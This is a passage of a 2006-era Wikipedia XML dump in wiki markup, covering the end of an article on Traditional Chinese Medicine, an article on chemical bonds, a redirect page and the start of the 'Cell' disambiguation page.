TCM developed as a form of noninvasive therapeutic intervention (also described as [[folk medicine]] or [[traditional medicine]]) rooted in ancient belief systems, including traditional religious concepts. Chinese medical practitioners before the [[19th century]] relied on observation, trial and error, which incorporated certain mystical concepts. Like their Western counterparts, doctors of TCM  had a limited understanding of infection, which predated the discovery of [[bacterium|bacteria]], [[virus]]es ([[germ theory of disease]]) and an understanding of [[cell (biology)|cell]]ular structures and [[organic chemistry]]. Instead they relyed mainly on observation and description on the nature of infections for creating remedies. Based on theories formulated through three millennia of observation and practical experience, a system of procedure was formed as to guide a TCM practitioner in courses of treatment and diagnosis.

Unlike other forms of traditional medicine which have largely become extinct, traditional Chinese medicine continues as a distinct branch of modern medical practice, and within [[China]], it is an important part of the [[public health]] care system. There are thousands of years of [[empirical knowledge]] about TCM conceptualized and recorded in terms appropriate to that system, and in recent decades there has been an effort to integrate the discoveries made by traditional Chinese medicine with the discoveries made by workers in the Western medical traditions. One important component of this work is to use the instrumentation and the methodological tools available via Western medicine to investigate observations made and hypotheses raised by the Chinese tradition. 

That this effort has occurred is surprising to many for a number of reasons.  In most of the world, [[traditional medicine|indigenous medical practices]] have been supplanted by practices brought from the West, while in Chinese societies, this has not occurred and shows no sign of occurring.  Furthermore, many have found it peculiar that Chinese medicine remains a distinct branch of medicine separate from Western medicine, while the same has not happened with other intellectual fields.  There is, for example, no longer a distinct branch of Chinese [[physics]] or Chinese [[biology]].

TCM is used by some to treat the side effects of [[chemotherapy]], treating the cravings and withdrawal symptoms of [[drug addiction|drug addicts]] and treating a variety of [[chronic]] conditions that [[conventional medicine]] is claimed to be sometimes ineffective in treating. TCM has also been used to treat [[antibiotic]]-resistant infection

A report issued by the Victorian state government in Australia states that:
:Graduates from TCM university courses are able to diagnose in western medical terms, prescribe western pharmaceuticals, and undertake minor surgical procedures. In effect, they practise TCM as a specialty within the broader organisation of Chinese health care. [http://www.dhs.vic.gov.au/pdpd/chinese/report/8.htm]

== TCM theory ==
There are many schools of thought on which TCM is based. Because of this, the foundation principles of Chinese medicine are not necessarily uniform. Received TCM can be shown to be most influenced by [[Taoism]], [[Buddhism]], and [[Neo-Confucianism]].

For over 3000 years ([[1200 BC]] - present), Chinese academics of various schools have focused on the observable natural laws of the universe and their implications for the practical characterisation of humanity's place in the universe. In the [[I Ching]] and other Chinese literary and philosophical classics, they have described some general principles and their applications to health and healing:

*'''There are observable principles of constant phenomenal change by which the Universe is maintained.'''
**Man is part of the universe and cannot be separated from the universal process of change.
*'''As a result of these apparently inescapable primordial principles, the Universe (and every process therein) tends to eventually balance itself.'''
**Optimum health should result from living as harmoniously as possible with the spontaneous process of change tending towards balance. If there is no change (stagnation), or too much change (catastrophism), balance is increasingly lost and illnesses can occur.
*'''Everything is ultimately interconnected.'''
**Always use a systemic approach when addressing imbalances.

TCM is therefore largely based on the [[philosophy|philosophical]] concept that the human body is a small universe with a set of complete and sophisticated interconnected systems. Those systems usually work in balance to maintain the healthy function of the human body. The [[Yin Yang|balance]] is described as necessarily including [[Qi|qi]], [[Blood|blood]], [[Jing (TCM)|jing]], [[Body fluids|bodily fluids]], the [[Five Elements|wu xing]], [[emotion]]s, and [[soul|spirit]] ([[Shen|shen]]).  TCM has a unique [[TCM model of the body|model of the body]], notably concerned with the [[Meridian (Chinese medicine)|meridian system]]. TCM isn't monolithic, however, and there are from minor to significant regional and philosophical differences between practitioners and schools which in turn can lead to differences in practice and theory.

==TCM diagnostics==
The basics of TCM diagnostics are: observe (望 wàng), hear and smell (聞 wén), ask about background (問 wèn) and read the pulse (切 qiè). Then a diagnosis is made using a system to classify the symptoms.

Systems of diagnosis include:

*[[Yin or Yang]]
*[[Five elements (Chinese philosophy)|Five elements]]
*[[eight principles]]
*[[Zang Fu theory]]
*[[Meridian (Chinese medicine)]]
*[[Six levels]]
*[[four stages]]
*[[Three jiaos]]

And a modern cross that is not formal but in China TCM diagnosis is being very heavily influenced by and integrated with western diagnostic thought moving towards total integration of the two systems. Modern practitioners often use the systems in combination to understand what is happening with the patient.

Because traditional Chinese medicine predates the more invasive medical testing used in [[Conventional medicine|conventional Western medicine]], TCM requires skill in a range of diagnostic systems not commonly used outside of TCM.  Much of this diagnostic skill involves developing the abilities to observe subtle appearances; to observe that which is right in front of us, but escapes the observation of most people.  
===Diagnostic techniques===
* Palpation of the patient's [[radial artery]] [[pulse]] in six positions
* Observation of the appearance of the patient's [[tongue]]
* Observation of the patient's [[face]]
* Palpation of the patient's body (especially the [[abdomen]]) for tenderness
* Observation of the sound of the patient's [[human voice|voice]]
* Observation of the surface of the [[ear]]
* Observation of the [[vein]] on the [[index finger]] on small children
* Comparisons of the relative warmth or coolness of different parts of the body
* Anything else that can be observed without instruments and without harming the patient

==TCM treatment techniques==
The traditional treatment in Chinese medicine consists of six major methods:
#[[Tui na]](推拿)
#[[Acupuncture]](針疚)
#[[Acupoint therapy]]
#[[Moxibustion]](艾炙)
#[[Cupping]](拔罐)
#[[Herbology]](中药)
#[[Physical culture]] related to breathing and circulation [[exercise]]s like [[qigong]] (氣功) or [[T'ai Chi Ch'uan]] (太極拳) and other [[Chinese martial arts]]. ''Die-da'' or ''Tieh Ta'' (跌打): practitioners who specialize in healing [[Physical trauma|trauma]] injury such as bone fractures, sprains, bruises etc.  Some of these specialists may also use or recommend other disciplines of Chinese medical therapies (or Western medicine in modern times) if serious injury is involved. These practices are also seen as health maintenance regimes as well as interventions.

Traditional Chinese medicine uses herbs and other drugs as the last resort to fight health problems. This conforms to its basic belief: a human body has a sophisticated system to find illness, allocate resources and energy and heal the problems by itself. The goal of external efforts should carefully focus on assisting the normal self-healing function of human body, not interfering with it. There is a Chinese saying which reflects the same idea: &quot;Any medicine has 30% poison ingredients.&quot;

The modern practice of traditional Chinese medicine is increasingly incorporating techniques and theories of Western medicine in its [[praxis]].

Other specialties include:
*[[Nutrition]] or [[food therapy]]
*[[Gua Sha]] or coin-rubbing (刮痧)
*[[Auriculotherapy]](耳燭療法)

== TCM and science ==
=== The question of efficacy ===
Most [[scientific research]] in the West about TCM has focused on [[acupuncture]]. The National Institutes of Health [http://odp.od.nih.gov/consensus/cons/107/107_statement.htm Consensus Statement on Acupuncture] summarizes research on the efficacy of acupuncture as follows:

&lt;blockquote&gt;
...promising results have emerged, for example, efficacy of acupuncture in
adult post-operative and chemotherapy nausea and vomiting and in
postoperative dental pain. There are other situations such as addiction,
stroke rehabilitation, headache, menstrual cramps, tennis elbow,
fibromyalgia, myofascial pain, osteoarthritis, low back pain, carpal tunnel
syndrome, and asthma for which acupuncture may be useful as an adjunct
treatment or an acceptable alternative or be included in a comprehensive
management program. Further research is likely to uncover additional areas
where acupuncture interventions will be useful.
&lt;/blockquote&gt;

Much less work in the West has been done on Chinese herbal  medicines, which comprises much of TCM in China.  It is clear, however, that many if not most of these medicines do have powerful biochemical effects.  An example is the herb [[ephedra]] which was introduced into the West as a stimulant, and later banned in the United States after deaths were attributed to its use.  A less controversial example is [[artemisinin]], derived from a herb long-used used in TCM, and now used worldwide to treat multi-drug resistant strains of falciparum [[malaria]]. In the West, many Chinese medicines have been marketed as [[herbal supplement]]s and there has been considerable controversy over the regulatory status of these substances.

TCM practitioners have no philosophical objections to scientific studies on the effectiveness of treatments.  The main barrier to the adoption of Chinese herbal medicines into Western practice is economic.  It requires a large amount of expertise and money to conduct, for example, a double-blind drug trial, making it a large venture to test even one of the thousands of compounds used by TCM.  Because these compounds cannot be patented and owned exclusively, there is a distinct disincentive to sponsor such expensive protocols. Some important western medical drugs have come from Chinese herbs like [[Ephedrine]].

There are also great [[a priori]] doubts about the efficacy of many TCM treatments that appear to have their basis in [[magical thinking]], e.g. plants with heart-shaped leaves will help the heart, ground bones of [[tiger]] give a person energy because tigers are energetic animals and so on. To researchers, this is a very small base to start serious research on.

===Purported mechanism of action===
The basic mechanism of TCM is akin to treating the body as a [[black box]], recording and classifying changes and observations of the patient using a traditional philosophy.  In contrast to many [[alternative medicine|alternative and complementary medicine]]s such as [[homeopathy]], practically all techniques of TCM have explanations for why they may be more effective than a [[placebo]], which Western medicine can find plausible.  Most doctors of Western medicine would not find implausible claims that [[qigong]] preserves health by encouraging relaxation and movement, that [[acupuncture]] relieves pain by stimulating the production of [[neurotransmitter]]s, or that Chinese [[herbology|herbal]] medicines may contain powerful [[biochemical]] agents.  However, the causative mechanisms of healing often traditionally claimed to be at work in TCM techniques such as &quot;manipulation of [[qi]]&quot; as in the case of qigong and accupuncture, are often not recognized as scientifically valid or even possible.

===Safety of Chinese medicines===
Accupressure and accupuncture are largely accepted to be safe from results gain through medical studies. However, there is always the possiblity of nerve damage or infection in the latter treatment if the practitioner are not experienced or does not follow sanitation guidelines.

Chinese herbal medicines, in certain cases, involve risk of [[poison]]ing or [[allergy|allergic]] reactions. Cases of acute and chronic poisoning due to treatment through ingested Chinese medicines are relatively common in [[China]], [[Hong Kong]], and [[Taiwan]], with numerous deaths occurring each year. For example, the Chinese herb ''má huáng'' &amp;mdash; known commonly in the west by its Latin name [[Ephedra]] &amp;mdash; is currently banned by the [[FDA]]. Although an effective [[bronchiole|bronchial]] dilator for the treatment of [[asthma]] in some cases, its active constituent [[ephedrine]] has an elevating effect on heart rate and blood pressure and has been linked to deaths. Although some of these cases can be attributed to practitioners who participate in [[quackery]] or people who self-medicate, poisonings are also caused by certified herbalists and doctors of Chinese medicine.

Furthermore, potentially toxic and [[carcinogenic]] compounds such as [[arsenic]] and [[cinnabar]] are sometimes prescribed as part of a medicinal mixture or used on the basis of &quot;''using poison to cure poison''&quot;. Unprocessed herbals are sometimes adulterated with chemicals that may alter the intended effect of a herbal preparation or prescription. Much of these can be prevented with more empirical studies of Chinese herbals and tighter regulation regarding the growing, processing, and prescription of various herbals.

== The relationship between TCM and Western medicine==
Within China, there has been a great deal of cooperation between TCM
practitioners and Western medicine, especially in the field of [[ethnomedicine]]. Chinese herbal medicine includes many compounds which are unused by Western medicine, and there is great interest in those compounds as well as the theories which TCM practitioners use to determine which compound to prescribe.  For their part, advanced TCM practitioners in China are interested in statistical and experimental techniques which can better distinguish medicines that work from those that do not. One result of this collaboration has been the creation of peer reviewed scientific journals and medical databases on traditional Chinese medicine.

The relationship between TCM and Western medicine in the West is more contentious.  While more and more medical schools are including classes on alternative medicine in their curricula, older Western doctors and scientists are far more likely than their Chinese counterparts to skeptically view TCM as archaic pseudoscience and superstition. This skepticism can come from a number of sources. For one, TCM in the West tends to be advocated either by Chinese immigrants or by those that have lost faith in [[conventional medicine]].  Many people in the West have a stereotype of the East as mystical and unscientific, which attracts those in the West who have lost hope in science and repels those who believe in scientific explanations. There have also been experiences in the West with unscrupulous or well-meaning but improperly-trained &quot;TCM practitioners&quot; who have done people more harm than good in many instances.

As an example of the different roles of TCM in China and the West, a person with a broken bone in the West (i.e. a routine, &quot;straightforward&quot; condition) would almost never see a Chinese medicine practitioner or visit a [[martial art]]s school to get the bone set, whereas this is routine in China. As another example, most TCM hospitals in China have [[electron microscope]]s and many TCM practitioners know how to use one.

This is not to say that TCM techniques are considered worthless in the West.  In fact, Western pharmaceutical companies have recognized the value of traditional medicines and are employing teams of scientists in many parts of the world to gather knowledge from traditional healers and medical practitioners.  After all, the active ingredients of most modern medicines were discovered in plants or animals.  The particular contribution of Western medicine is that it strictly applies the [[scientific method]] to promising traditional treatments, separating those that work from those that do not.  As another example, most Western hospitals and increasing numbers of other clinics now offer [[T'ai Chi Ch'uan]] or [[qigong]] classes as part of their [[inpatient]] and [[community health]] programs.

Most Chinese in China do not see traditional Chinese medicine and Western
medicine as being in conflict. In cases of emergency and crisis situations,
there is generally no reluctance in using conventional Western medicine. At the
same time, belief in Chinese medicine remains strong in the area of
maintaining health. To put it simply, you see a Western doctor
if you have acute [[appendicitis]], but you do exercises or take Chinese herbs to keep your
body healthy enough to prevent appendicitis, or to recover more quickly from the surgery. Very few practitioners of Western medicine in China reject traditional Chinese medicine, and most doctors in China will use some elements of Chinese medicine in their own
practice.  

A degree of integration between Chinese and Western medicine also exists in China.  For instance, at the Shanghai cancer hospital, a patient may be seen by a multidisciplinary team and be treated concurrently with radiation surgery, Western drugs and a traditional herbal formula.

It is worth noting that the practice of Western medicine in China is somewhat different from that in the West. In contrast to the West, there are relatively few [[allied health professional]]s to perform routine medical procedures or to undertake procedures such as [[massage]] or [[physical therapy]].

In addition, Chinese practitioners of Western medicine have been less impacted by trends in the West that encourage patient empowerment, to see the patient as an individual rather than a collection of parts, and to do nothing when medically appropriate. Chinese practitioners of Western medicine have been widely criticized for overprescribing drugs such as [[corticosteroid]]s or [[antibiotic]]s for common [[virus|viral]] infections.   It is likely that these medicines, which are generally known to be useless against viral infections, would provide less relief to the patient than traditional Chinese herbal remedies.

== TCM and Animals ==
As animal products are used in Chinese formulas, [[vegan]]s and [[vegetarians]] should inform their practitioner, if their beliefs forbid the ingestion of animals. Often alternative substances can be used.

The use of [[endangered species]] is controversial within TCM. In particular, the belief that [[tiger]] penis and [[rhinoceros]] horn are [[aphrodisiac|aphrodisiacs]] has been blamed for depleting these species in the wild.

The [[animal rights]] movement notes that a few traditional Chinese medicinal solutions use bear [[bile]]. To extract maximum amounts of the bile, the bears are often fitted with a sort of permanent [[catheter]]. The treatment itself and especially the extraction of the bile is very painful, causes damage to the intestines of the bear, and often even kills the bears. However, due to international attention on the issues surrounding its harvesting, bile is now rarely used by practitioners outside of China.

==See also==
* [[History of traditional Chinese medicine]]
* [[Public health in the People's Republic of China]]
* [[Kampo|Traditional Japanese medicine]] (Kampo)
* [[Traditional Korean medicine]]
==References==
* Chang, Stephen T. &lt;cite&gt;[http://www.bodhibooksellers.com/tao/store.book.great.tao.html The Great Tao]&lt;/cite&gt;; Tao Longevity; ISBN 0942196015 [[Stephen T. Chang]]
* Kaptchuck, Ted J., &lt;cite&gt;The Web That Has No Weaver&lt;/cite&gt;; Congdon &amp; Weed; ISBN 0809229331Z
* Maciocia, Giovanni, &lt;cite&gt;The Foundations of Chinese Medicine: A Comprehensive Text for Acupuncturists and Herbalists&lt;/cite&gt;; Churchill Livingstone; ISBN 0443-039801
* Ni, Mao-Shing, &lt;cite&gt;The Yellow Emperor's Classic of Medicine : A New Translation of the Neijing Suwen with Commentary&lt;/cite&gt;; Shambhala, 1995; ISBN 1570620806
* Holland, Alex &lt;cite&gt;Voices of Qi: An Introductory Guide to Traditional Chinese Medicine&lt;/cite&gt;; North Atlantic Books, 2000;  ISBN 1556433263
* Unschuld, Paul U., &lt;cite&gt;Medicine in China: A History of Ideas&lt;/cite&gt;; University of California Press, 1985; ISBN 0520050231
* Qu, Jiecheng, &lt;cite&gt;[http://www.cp1897.com.hk/html/profess/chime/essays/profess0403s02.htm When Chinese Medicine Meets Western Medicine - History and Ideas] (in Chinese)&lt;/cite&gt;; Joint Publishing (H.K.), 2004; ISBN 9620423364
* Chan, T.Y. (2002). Incidence of herb-induced aconitine poisoning in Hong Kong: impact of publicity measures to promote awareness among the herbalists and the public. ''Drug Saf.'' 25:823–828.
* Benowitz, Neal L. (2000) Review of adverse reaction reports involving ephedrine-containing herbal products. ''Submitted to U.S. Food and Drug Administration.'' Jan. 17.

==External links==
*[http://www.satcm.gov.cn/ State Administration of Traditional Chinese Medicine for the People's Republic of China]
*[http://www.satcm.gov.cn/english_satcm/eindex.htm State Administration of Traditional Chinese Medicine for the People's Republic of China (English)]
*[http://www.acumedic.com/ Acumedic - The Comprehensive Organisation for Acupuncture, Chinese and Herbal Medicine]
*[http://www.jcm.co.uk/ Journal of Chinese Medicine]
*[http://chinese-school.netfirms.com/Chinese-medicine.html General information about Chinese Medicine]
*[http://www.nlm.nih.gov/hmd/chinese/chinesehome.html Classics of Traditional Chinese Medicine], by the National Library of Medicine (NLM)
*[http://chinese-school.netfirms.com/Chinese-medicine-diabetes-background.html Modern Medicine and Traditional Chinese Medicine - Diabetes]
*[http://odp.od.nih.gov/consensus/cons/107/107_statement.htm Acupuncture. NIH Consensus Statement 1997 Nov 3-5; 15(5):1-34.]
*[http://www.csicop.org/si/9509/chi.html China, Chi, and Chicanery] (a sceptical view)
*[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=15510787 Effects of acupuncture on gastroparesis study]
*[http://www.commonweal.org/pubs/choices/19.html Traditional Chinese Medicine--A Favored Adjunctive Therapy for American Cancer Patients]
*[http://www.jyi.org/volumes/volume6/issue5/features/feng.html Merging Chinese Traditional Medicine into the American Health System]
*[http://www.chinesemedicinesampler.com/theorybasic.html The Chinese Medicine Sampler]- Historical Roots of Traditional Chinese Medicine
* [http://www.watchtower.org/library/g/2000/11/8/article_01.htm ''A Visit to a Chinese Pharmacy''], a virtual tour
* [http://www.famouschinese.com/jsp/medline/chinese_medicine_medline.html Chinese medicine, Chinese Herbal Medicine and Acupuncture Medline] Most recent research articles on Chinese medicine, Chinese Herbal Medicine and Acupuncture from Medline/Entrez PubMed
* [http://www.danreid.org/daniel-reid-chinese-medicine-books.htm A selection of best-selling books on Traditional Chinese Medicine] By well known author and chinese health and healing expert, Daniel Reid

[[Category:Traditional Chinese medicine|*]]

[[de:Traditionelle Chinesische Medizin]]
[[es:Medicina china tradicional]]
[[he:רפואה סינית]]
[[it:Medicina tradizionale cinese]]
[[ja:伝統中国医学]]
[[ko:한의학]]
[[pt:Medicina Tradicional Chinesa]]
[[vi:Đông y]]
[[zh:中医学]]</text>
    </revision>
  </page>
  <page>
    <title>Chemical bond</title>
    <id>5993</id>
    <revision>
      <id>41290326</id>
      <timestamp>2006-02-26T08:46:11Z</timestamp>
      <contributor>
        <ip>165.21.154.115</ip>
      </contributor>
      <comment>/* Ionic bonding */</comment>
      <text xml:space="preserve">A '''chemical bond''' is the physical phenomenon of [[chemical substance]]s being held together by attraction of [[atom]]s to each other through sharing, as well as exchanging, of [[electron]]s -or [[electrostatic force]]s. In general, strong chemical bonds are found in [[molecule]]s, [[crystal]]s or in solid metal and they organize the atoms in ordered [[structure]]s. Weak chemical bonds are classically explained to be effects of [[polarity]], or the lack of it, of strong bonds.

In theory, all bonds can be explained by quantum theory, but in practice, chemical bonds are divided in several categories. Simplifications of quantum theory have been developed to describe and predict the bonds and their properties. These theories include [[octet rule|octet]] theory,  [[valence bond theory]], [[orbital hybridization]] theory, [[VSEPR theory]], [[ligand field theory]] and  [[LCAO]] -method. [[Electrostatics]] and other physical theories are used to describe bond polarities and the effects they have on chemical substances. Actual chemical bonds are not exactly described by these theories, due to [[uncertainty principle]]. However, in combination, they constitute a powerful theory, which can be applied in almost all of chemistry.

In quantum mechanics, in simplified terms, electrons are located on an [[atomic orbital]] (AO), but in a strong chemical bond, they form a [[molecular orbital]]s (MO). In many theories, these are divided in [[bonding (orbital)|bonding]], [[antibonding|anti-bonding]], and [[nonbonding|non-bonding]] orbitals. They are further divided according the types of atomic orbitals hybridizing to form a bond. These orbitals are results of electron-[[Atomic nucleus|nucleus]] interactions that are caused by the [[fundamental interaction|fundamental]] force of [[electromagnetism]]. Chemical substances will form a bond if their orbitals become lower in energy when they interact with each other. Different chemical bonds are distinguished that differ by [[electron configuration|electron cloud shape]] and by [[energy level]]s.

== Bonds in chemical formulas ==

The 3-dimensionality of atoms and molecules makes it hard to use a single technique for indicating orbitals and bonds. In '''[[molecular formula]]s''' the chemical bonds (binding orbitals) between atoms are indicated by various different methods according to the type of discussion. Sometimes, they are completely neglected. For example, in [[organic chemistry]] chemists are sometimes concerned only with the [[functional group]]s of the molecule. Thus, the molecular formula of ethanol (a compound in [[alcoholic beverage]]s) may be written in a paper in [[conformational isomerism|conformational]], 3-dimensional, full 2-dimensional (indicating every bond with no 3-dimensional directions), compressed 2-dimensional (CH&lt;sub&gt;3&lt;/sub&gt;-CH&lt;sub&gt;2&lt;/sub&gt;-OH), separating the functional group from another part of the molecule (C&lt;sub&gt;2&lt;/sub&gt;H&lt;sub&gt;5&lt;/sub&gt;OH), or by its atomic constituents (C&lt;sub&gt;2&lt;/sub&gt;H&lt;sub&gt;6&lt;/sub&gt;O), according to what is discussed. Sometimes, even the non-bonding valence shell electrons (
with the 2-dimensionalized approximate directions) are marked, f.e. for elemental carbon &lt;sub&gt;.&lt;/sub&gt;&lt;sup&gt;'&lt;/sup&gt;C&lt;sub&gt;.&lt;/sub&gt;&lt;sup&gt;'&lt;/sup&gt; Some chemists may also mark the respective orbitals, f.e. the hypothetical ethene&lt;sup&gt;-4&lt;/sup&gt; anion (&lt;sub&gt;\&lt;/sub&gt;&lt;sup&gt;/&lt;/sup&gt;C=C&lt;sub&gt;/&lt;/sub&gt;&lt;sup&gt;\&lt;/sup&gt; &lt;sup&gt;-4&lt;/sup&gt;) indicating the possibility of bond formation.

==Strong chemical bonds==
These chemical bonds are ''intramolecular'' forces, which keep atoms held together in [[molecules]] and in [[solid]]s. As a rule, all these bonds will be single, double or triple in strength, that is, the number of electrons participating in a bond (or located in a bonding orbital) is two, four, or six, respectively. Substantially more advanced bonding theories have shown that [[bond strength]] may not always be a whole number, depending on the distribution of electrons to each atom involved in a bond. Quadruple bonds are not unheard of, but they are extremely rare. The type of strong bond depends on the difference in [[electronegativity]] and the distribution of the electron path to the atoms that are bonded. The larger the electronegativity, the more an electron is attracted to a particular atom involved in the bond and the more ionic properties the bond has. The smaller the electronegativity, the more covalent properties the bond has.

===Covalent bond===
{{Main|Covalent bond}}
Covalent bonding is a common type of bonding, in which the electronegativity difference between the bonded atoms is small or non-existent. In the latter case, the bond is sometimes referred to as ''purely covalent''. See [[sigma bond]]s and [[pi bond]]s for current LCAO-explanation of non-polar bonds.

===Polar covalent bond===
{{Main|Polar covalent bond}}
Polar covalent bonding is by nature an intermediate type of bond, between a covalent bond and an ionic bond. In more advanced theories of bonding, all bonds may be considered somewhat polar.

===Ionic bond===
{{main|Ionic bond}}
Ionic bonding is type of electrostatic bond between atoms which have an electronegativity difference of over 1.6 (this limit is a convention). These form in a solution between two [[ions]] after the excess of the solvent is removed.

==Other strong bonds==
===Coordinate covalent bond===
{{Main|Coordinate covalent bond}}
Coordinate covalent bonding is a special type of bonding, in which the bonding electrons originate solely from another atom. This is different from an ionic bond in that the electronegativity difference is small.

===Polyatomic ions===
A different type of bond between two atoms occurs commonly in ions. The bond is located in the midst of three (or more) atoms. This happens usually in polyatomic ions such as methanoate (or formate) (HCOO&lt;sup&gt;-&lt;/sup&gt;) anion, in which the 0,5 order bond carries the [[partial charge|effective charge]] of -1.

===Banana bond===
The [[Banana bond]] is a kind of bonding in which the bond bends due to other bonds. These bonds are likely to be more susceptible to reactions than ordinary bonds.

==Chemical bonds involving more than two atoms==
===Aromatic bond===
{{Main|Aromaticity}}
Orbitals are not stiff in shape, and in many cases the locations of electrons cannot be expressed as lines (place for two electrons) or dots (a single elctron). This is the case in aromatic bonds. In benzene, 18 electrons bind 6 carbon atoms together to form a ring structure. The bond order between the different carbons may be said to be 18/6/2=1.5, but there is no way of telling which bonds attach to which carbons, which is of no importance from the chemical point of view. In the case of [[heterocyclic]] aromatics and substituted [[benzene]]s, the electronegativity differences between different parts of the ring become dominant in the chemical behaviour of such bonds.

===Metallic bond===
{{Main|Metallic bond}}
A metallic bond, as an ionic bond (strictly), exists only in a solid (or liquid) state. In a metallic bond, there are delocalized electrons in a lattice of atoms. By contrast, in ionic compounds, the locations of the binding electrons and their charges are quite static.

==Intermolecular bonding==
There are four basic types of bonds that two or more (otherwise none-associated) molecules, ions or atoms can form between themselves.

===Ionic bonding===
{{main|Ionic bond}}
The strongest form of intermolecular bond, between two [[ion]]s of opposite [[electrical charge|charge]]s. Charges are commonly between -3[[elementary charge|e]] to +7[[elementary charge|e]]

===Permanent dipole to permanent dipole===
{{main|Dipole-dipole attraction}}
A large [[electronegativity]] difference between two strongly bonded atoms within a molecule causes a [[dipole]] to form (a dipole is a pair of permanent partial charges). Dipoles will attract or repel each other.

===Instantaneous dipole to induced dipole===
{{main|Van der Waals force}}
Instantaneous dipole to induced dipole, or Van der Waals forces, are the weakest, but also the most prolific - occurring between '''all''' chemical substances. Imagine a [[helium]] atom: At any one point in time, the [[electron cloud]] around the - otherwise-neutral - atom can be thought to be slightly imbalanced, with momentarily more negitive charge on one side. This is referred to as an instantaneous dipole. This dipole, with its slight charge imbalance, may attract or repel the electrons within a neighbouring helium atom, setting up another dipole. The two atoms will be attracted for an instant, before the charge rebalances and the atoms move on.

== Electrons in chemical bonds  ==

Many simple compounds involve covalent bonds. These molecules have structures that can be predicted using '''[[valence bond theory]]''', and the properties of atoms involved can be understood using concepts such as [[oxidation number]]. Other compounds that involve ionic structures can be understood using theories from [[classical physics]].

In the case of [[ionic bond]]ing, electrons are mainly localized on the individual atoms, and electrons do not travel between the atoms very much. Each atom is assigned an overall electric charge to help conceptualize the molecular orbital's distribution. The forces between atoms (or ions) are largely characterized by [[isotropic]] continuum electrostatic potentials.

By contrast, in [[covalent bond]]ing, the electron density within a bond is not assigned to individual atoms, but is instead delocalized in the MOs between atoms. The widely-accepted theory of the [[Linear combination of atomic orbitals molecular orbital method|linear combination of atomic orbitals]] (LCAO) helps describe the molecular orbital structures and energies based on the atomic orbitals of the atoms they came from. Unlike pure ionic bonds, covalent bonds may have directed [[anisotropic]] properties. These may have their own names, too, such as [[Sigma bond|Sigma]] and [[Pi bond]]

Atoms can also form bonds that are intermediates between ionic and covalent. This is because these definitions are based on the extent of electron delocalization. Electrons can be partially delocalized between atoms, but spend more time around one atom than another. This type of bond is often called [[polar covalent bond|polar covalent]]. See [[electronegativity]].

Thus, the electrons in a [[molecular orbital]] (or 'in a polar covalent, or in a covalent bond') can be said to be either ''localized'' on certain atom(s) or ''delocalized'' between two or more atoms. The type of bond between two atoms is defined by how much the [[electron density]] is localized or delocalized among the atoms of the substance.


== Limitations of valence bond theory==

However, more complicated compounds such as [[complex (chemistry)|metal complexes]], or [[electron deficient]] compounds, cannot be described by valence bond theory alone, and [[quantum chemistry]] (based on [[quantum mechanics]]) has to be used.

[[Linus Pauling]]'s book ''The Nature of the Chemical Bond'' has influenced the development of chemistry concerning bond formation as the increasingly complex theories are required.

== Determination of chemical properties through chemical bonding ==

Intermolecular forces cause molecules to be attracted or repulsed by each other. Often, these define some of the physical characteristics, such as the [[melting point]]) of a substance. These forces include ionic interactions, hydrogen bonds, dipole-dipole interactions, and [[induced-dipole attraction|induced dipole interactions]].


== See also ==
* [[Electron]]
* [[Electronegativity]]
* [[Periodic table]]
* [[octet rule]]
* [[delocalized electron]]
* [[Valence shell]]
* [[Ion]]
* [[Valence bond theory]]
* [[Orbital_hybridisation|hybridization]]
* [[Sigma bond|sigma]], [[pi bond|pi]] and [[delta bond|delta bonds]]
* [[Chemical reaction]]

More advanced articles:
* [[Bohr model]]
* [[quantum number]]
* [[List of Hund's rules]]
* [[Quantum chemistry]]
* [[LCAO]]
* [[Atomic orbital]], [[molecular orbital]]

== References ==

* W. Locke (1997). [http://www.ch.ic.ac.uk/vchemlib/course/mo_theory/main.html Introduction to Molecular Orbital Theory]. Retrieved May 18, 2005.
* Carl R. Nave (2005). [http://hyperphysics.phy-astr.gsu.edu/hbase/chemical/bond.html HyperPhysics]. Retrieved May 18, 2005.

[[Category:Chemical bonding| ]]

[[ar:رابطة كيميائية]]
[[bg:Химична връзка]]
[[ca:Enllaç químic]]
[[cs:Chemická vazba]]
[[de:Chemische Bindung]]
[[et:Keemiline side]]
[[es:Enlace químico]]
[[eo:Kemia ligo]]
[[fa:پیوند شیمیایی]]
[[fr:Liaison chimique]]
[[id:Ikatan kimia]]
[[io:Kemia ligo]]
[[it:Legame chimico]]
[[he:קשר כימי]]
[[hu:Kémiai kötés]]
[[nl:Chemische binding]]
[[ja:化学結合]]
[[no:Kjemiske bindinger]]
[[nn:Kjemisk binding]]
[[pl:Wiązanie chemiczne]]
[[pt:Energia química]]
[[sk:Chemická väzba]]
[[sl:Kemijska vez]]
[[su:Beungkeut kimia]]
[[sr:Хемијска веза]]
[[fi:Kemiallinen sidos]]
[[sv:Kemisk bindning]]
[[tl:Kawing kimikal]]
[[vi:Liên kết hóa học]]
[[zh:化学键]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Historical Wikipedia pages/Chalkboard candidates</title>
    <id>5994</id>
    <revision>
      <id>15904160</id>
      <timestamp>2003-03-17T10:33:47Z</timestamp>
      <contributor>
        <username>MyRedDice</username>
        <id>5862</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Wikipedia:Nupedia and Wikipedia]] (moved to meta)</comment>
      <text xml:space="preserve">#REDIRECT [[Wikipedia:Nupedia and Wikipedia]]</text>
    </revision>
  </page>
  <page>
    <title>Cell</title>
    <id>5995</id>
    <revision>
      <id>41716437</id>
      <timestamp>2006-03-01T06:41:14Z</timestamp>
      <contributor>
        <username>Semiconscious</username>
        <id>302094</id>
      </contributor>
      <comment>rvv: 66.201.160.243 &gt;&gt; Ixfd64</comment>
      <text xml:space="preserve">A '''cell''' is a single unit or compartment, enclosed by a border or wall. A cell is usually part of a larger structure.  More specific meanings depend on the context in which the word is used.

====Sciences====
* [[cell (biology)]], the smallest unit of life
* [[electrochemical cell]]
* A cell in the [[honeycomb]] of a [[beehive (beekeeping)|beehive]]
* ''[[Cell (journal)|Cell]]'' an academic journal
* In higher-dimensional [[Euclidean geometry]], especially in 4-dimensional geometry, a [[Cell (mathematics)|cell]] refers to a 3-dimensional facet in a [[polytope]].
* [[Cell (microprocessor)|Cell]] is the name of a microprocessor developed jointly by IBM, Toshiba, and Sony.
* In radio communications (e.g., [[w:Mobile phone|cellular phones]]), a cell is a small geographic area served by a radio tower. Multiple cells (slightly overlapping) are aggregated in a [[w:cellular network|cellular network]] for coverage of larger areas.
* In [[computer science]], a memory cell is a building block of [[computer]] memory.

====Buildings====
